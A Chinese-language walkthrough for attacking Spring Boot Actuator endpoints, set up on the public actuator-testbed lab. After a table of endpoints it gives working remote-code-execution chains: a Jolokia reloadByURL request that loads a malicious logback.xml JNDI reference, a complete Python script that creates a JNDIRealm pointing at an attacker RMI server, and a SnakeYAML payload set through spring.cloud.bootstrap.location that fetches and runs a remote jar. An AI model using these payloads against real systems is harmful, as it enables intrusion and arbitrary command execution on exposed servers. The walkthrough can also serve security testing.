搭建漏洞环境:
git clone https://github.com/veracode-research/actuator-testbed
mvn install 或者 mvn spring-boot:run,如果遇到了报错,多半是因为网络问题导致本地mvn仓库下载不完全导致项目依赖解析出问题,解决办法点这里
本地访问一下:
关于路径问题:1.x版本的在根路径下注册路由,2.x版本则需要加/actuator/
路径 描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)
Jolokia相关漏洞利用:
前提:存在jolokia组件,且reloadByURL方法
RCE的两种方法:
1 reloadByURL 远程加载xml指定恶意的RMI服务
第一步,创建logback.xml文件,以web服务方式监听
python3 -m http.server 80
logback.xml文件内容如下:
<configuration>
<insertFromJNDI env-entry-name="rmi://127.0.0.1:1097/jndi" as="appName" />
</configuration>
第二步
修改开源的简易的RMI服务中的代码,我们只需要修改代码中自己要执行的命令(红框部分)
编译jar包,mvn install或者mvn clean install等方式,或者idea自代编译等等多种方式编译
起RMI服务 java -Djava.rmi.server.hostname=127.0.0.1 -jar RMIServer-0.1.0.jar
第三步访问:以下url
http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1!/logback.xml
测试结果:访问url后远程加载了xml文件
执行了命令:
2 通过createJNDIRealm RCE
在页面/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法
第一步,还是接着上面的jar包,还是弹出计算器,起RMI服务
第二部,执行python3脚本,发送数据包
python3 1.py http://127.0.0.1:8090/
脚本会发送四个数据包,最终远程加载RMI服务,导致JNDI 注入执行任意命令
脚本内容:
import requests as req
import sys
from pprint import pprint
import json
import ssl
import urllib3
import hashlib
urllib3.disable_warnings()
ssl._create_default_https_context = ssl._create_unverified_context
url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm ={"mbean": "Tomcat:type=MBeanFactory","type": "EXEC","operation": "createJNDIRealm","arguments": ["Tomcat:type=Engine"]}
#写入contextFactory
set_contextFactory ={"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "contextFactory","value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "connectionURL","value": "rmi://127.0.0.1:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "stop","arguments": []}
#运行Realm,触发JNDI 注入
start = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "start","arguments": []}
expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
for i in expoloit:
rep = req.post(url, json=i)
print(rep.content)
# result = json.loads (rep.text)
# pprint(rep.json())
通过yaml RCE(spring Cloud env yaml)
Spring Boot 2.x 无法利用成功 Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功 Spring Boot <= 1.4 可利用成功
第一步:编译恶意jar
git clone https://github.com/artsploit/yaml-payload.git
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
编译之,生成jar 包
第二步:创建web服务,以及exp.yaml文件
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:80/yaml-payload.jar"] ]]
]
起web服务
第三步:发送数据包
spring.cloud.bootstrap.location=http://127.0.0.1/exp.yaml
修改spring.cloud.bootstrap.location值
刷新,执行了命令,dnslog接收到请求
通过xstream RCE
条件 :Eureka-Client <1.8.7(多见于Spring Cloud Netflix)
参考: